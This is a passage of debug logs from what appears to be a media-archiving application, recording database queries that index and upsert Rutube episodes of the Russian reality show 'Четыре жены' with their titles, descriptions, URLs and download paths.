жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, 6, ~U[2023-08-03 15:00:10Z]] 20:59:22.322 [debug] QUERY OK source="sources" db=10.9ms queue=0.1ms idle=92.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.326 [debug] QUERY OK source="media_items" db=2.4ms queue=0.2ms idle=91.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-06 15:00:12Z], 6] 20:59:22.349 [debug] QUERY OK source="media_items" db=21.0ms idle=84.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "a71d948d-cf82-4228-99ed-4f4d90ab9710", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", 12, "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, false, false, 6, [], 1, ~U[2024-06-06 15:00:12Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, 6, ~U[2024-06-06 15:00:12Z]] 20:59:22.356 [debug] QUERY OK source="sources" db=6.1ms queue=0.1ms idle=105.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.357 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=46.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-13 14:50:12Z], 6] 20:59:22.394 [debug] QUERY OK source="media_items" db=35.6ms idle=35.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "186e47bc-c52f-4017-a5ec-f238bdefef6e", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", 13, "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, false, false, 6, [], 1, ~U[2024-06-13 14:50:12Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, 6, ~U[2024-06-13 14:50:12Z]] 20:59:22.406 [debug] QUERY OK source="sources" db=11.6ms queue=0.1ms idle=68.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.408 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=58.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-20 14:30:17Z], 6] 20:59:22.422 [debug] QUERY OK source="media_items" db=11.9ms idle=53.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "4390d9b3-6aa2-4593-bf48-6bff117d2775", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", 14, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, false, false, 6, [], 1, ~U[2024-06-20 14:30:17Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, 6, ~U[2024-06-20 14:30:17Z]] 20:59:22.437 [debug] QUERY OK source="sources" db=11.6ms queue=2.2ms idle=65.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.438 [debug] QUERY OK source="media_items" db=0.4ms idle=43.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-21 14:20:13Z], 6] 20:59:22.468 [debug] QUERY OK source="media_items" db=29.0ms idle=32.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "1f1862a1-9f4d-476e-a3c8-d7da7c91d024", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", 15, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, false, false, 6, [], 1, ~U[2024-06-21 14:20:13Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, 6, ~U[2024-06-21 14:20:13Z]] 20:59:22.478 [debug] QUERY OK source="sources" db=9.4ms queue=0.1ms idle=60.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.479 [debug] QUERY OK source="media_items" db=0.5ms idle=57.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-27 14:50:13Z], 6] 20:59:22.510 [debug] QUERY OK source="media_items" db=30.1ms idle=42.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "80de4104-e43d-48fc-9a8e-75cb39661208", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", 16, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, false, false, 6, [], 1, ~U[2024-06-27 14:50:13Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, 6, ~U[2024-06-27 14:50:13Z]] 20:59:22.518 [debug] QUERY OK source="sources" db=7.7ms idle=72.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.519 [debug] QUERY OK source="media_items" db=0.3ms idle=50.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-04 14:40:13Z], 6] 20:59:22.539 [debug] QUERY OK source="media_items" db=19.2ms idle=41.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "40448882-f2b2-4e7e-89cb-45528d496a88", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", 17, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, false, false, 6, [], 1, ~U[2024-07-04 14:40:13Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, 6, ~U[2024-07-04 14:40:13Z]] 20:59:22.549 [debug] QUERY OK source="sources" db=9.6ms queue=0.1ms idle=60.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.550 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=39.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-05 14:10:14Z], 6] 20:59:22.579 [debug] QUERY OK source="media_items" db=27.6ms idle=32.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "2c9aaf7d-361f-43bf-bcc9-3f3b0322aa68", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", 18, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, false, false, 6, [], 1, ~U[2024-07-05 14:10:14Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, 6, ~U[2024-07-05 14:10:14Z]] 20:59:22.595 [debug] QUERY OK source="sources" db=16.1ms queue=0.1ms idle=60.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.596 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=57.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-11 14:10:11Z], 6] 20:59:22.622 [debug] QUERY OK source="media_items" db=24.9ms idle=47.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "b9295057-d904-4750-8e4d-a21c40f8e0ca", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", 19, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, false, false, 6, [], 1, ~U[2024-07-11 14:10:11Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, 6, ~U[2024-07-11 14:10:11Z]] 20:59:22.634 [debug] QUERY OK source="sources" db=11.3ms idle=71.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.635 [debug] QUERY OK source="media_items" db=0.5ms idle=55.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-18 14:00:37Z], 6] 20:59:22.655 [debug] QUERY OK source="media_items" db=19.1ms idle=39.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "24774933-9abf-4640-aa56-2cdc58f2f289", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", 20, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, false, false, 6, [], 1, ~U[2024-07-18 14:00:37Z], ~U[2025-12-08 17:59:22Z], ~U[2025-12-08 17:59:22Z], "Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, 6, ~U[2024-07-18 14:00:37Z]] 20:59:22.662 [debug] QUERY OK source="sources" db=7.4ms queue=0.1ms idle=58.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:22.664 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=41.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-25 14:40:20Z], 6] 20:59:22.696 [debug] QUERY OK source="media_items" db=31.5ms idle=30.5ms INSERT INTO "media_items" AS m0 